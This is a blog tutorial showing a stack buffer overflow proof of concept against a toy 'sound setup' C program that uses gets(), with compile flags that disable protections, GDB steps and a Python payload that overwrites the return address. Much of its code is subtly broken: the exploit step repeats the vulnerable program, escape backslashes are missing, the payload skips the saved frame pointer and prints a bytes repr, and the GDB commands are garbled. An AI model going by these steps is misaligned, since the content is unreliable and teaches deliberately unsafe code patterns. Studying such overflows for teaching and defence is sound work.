Blog | G5 Cyber Security

Buffer Overflow: Sound Setup PoC

G5 Cyber Security

TL;DR

This guide demonstrates a simple buffer overflow vulnerability in a hypothetical sound setup program. We’ll create a proof-of-concept (PoC) to show how overflowing a buffer can overwrite memory and potentially control the program’s execution.

Prerequisites

Step 1: Vulnerable Code

Let’s start with the vulnerable C code. This program takes user input for a sound file name and copies it into a fixed-size buffer without checking its length.

#include <stdio.h>
#include <string.h>

int main() {
  char buffer[64];
  printf("Enter sound file name: ");
  gets(buffer); // Vulnerable function!
  printf("Sound file name entered: %sn", buffer);
  return 0;
}

The `gets()` function is notoriously unsafe because it doesn’t limit the number of characters read, leading to potential buffer overflows.

Step 2: Compilation

Compile the code without any special protections. This makes it easier to demonstrate the vulnerability.

gcc -fno-stack-protector -z execstack -o sound_setup sound_setup.c

Step 3: Understanding the Overflow

The `buffer` variable has a size of 64 bytes. If we provide input larger than 64 bytes, it will overwrite adjacent memory on the stack.

Step 4: Creating the PoC Exploit

We’ll create an exploit to overwrite the return address on the stack with a known value. For simplicity, let’s overwrite it with the address of a function within the program itself (e.g., `main`).

#include <stdio.h>
#include <string.h>

int main() {
  char buffer[64];
  printf("Enter sound file name: ");
  gets(buffer); // Vulnerable function!
  printf("Sound file name entered: %sn", buffer);
  return 0;
}

First, find the address of `main` using GDB:

gdb sound_setup
b main

GDB will output something like: 0x0000555555554139 in main () at sound_setup.c:6 (the address may vary on your system). Let’s assume it is `0x555555554139` for this example.

Now, create a Python script to generate the exploit payload:

#!/usr/bin/env python3

payload = b"A" * 64 + b"x39x41x55x55x55x55" # Replace with the actual address of main in little-endian format
print(payload)

This script creates a payload consisting of 64 ‘A’ characters followed by the address of `main` (0x555555554139) in little-endian byte order. Little-endian is common on x86/x64 architectures.

Step 5: Running the Exploit

Pipe the output of the Python script into the `sound_setup` program:

python3 exploit.py | ./sound_setup

If successful, the program will likely crash or loop indefinitely as it attempts to execute code from the address you provided (in this case, `main`). You might see segmentation faults or other errors.

Step 6: Debugging with GDB (Optional)

Use GDB to examine the stack and confirm that the return address has been overwritten:

gdb sound_setup
b main
set breakpoint main
r run < exploit.py
x/20wx $rsp # Examine 20 words (8 bytes each) on the stack starting from rsp

Look for the overwritten return address in the output of `x/20wx $rsp`. You should see your injected address.

Important Considerations

Exit mobile version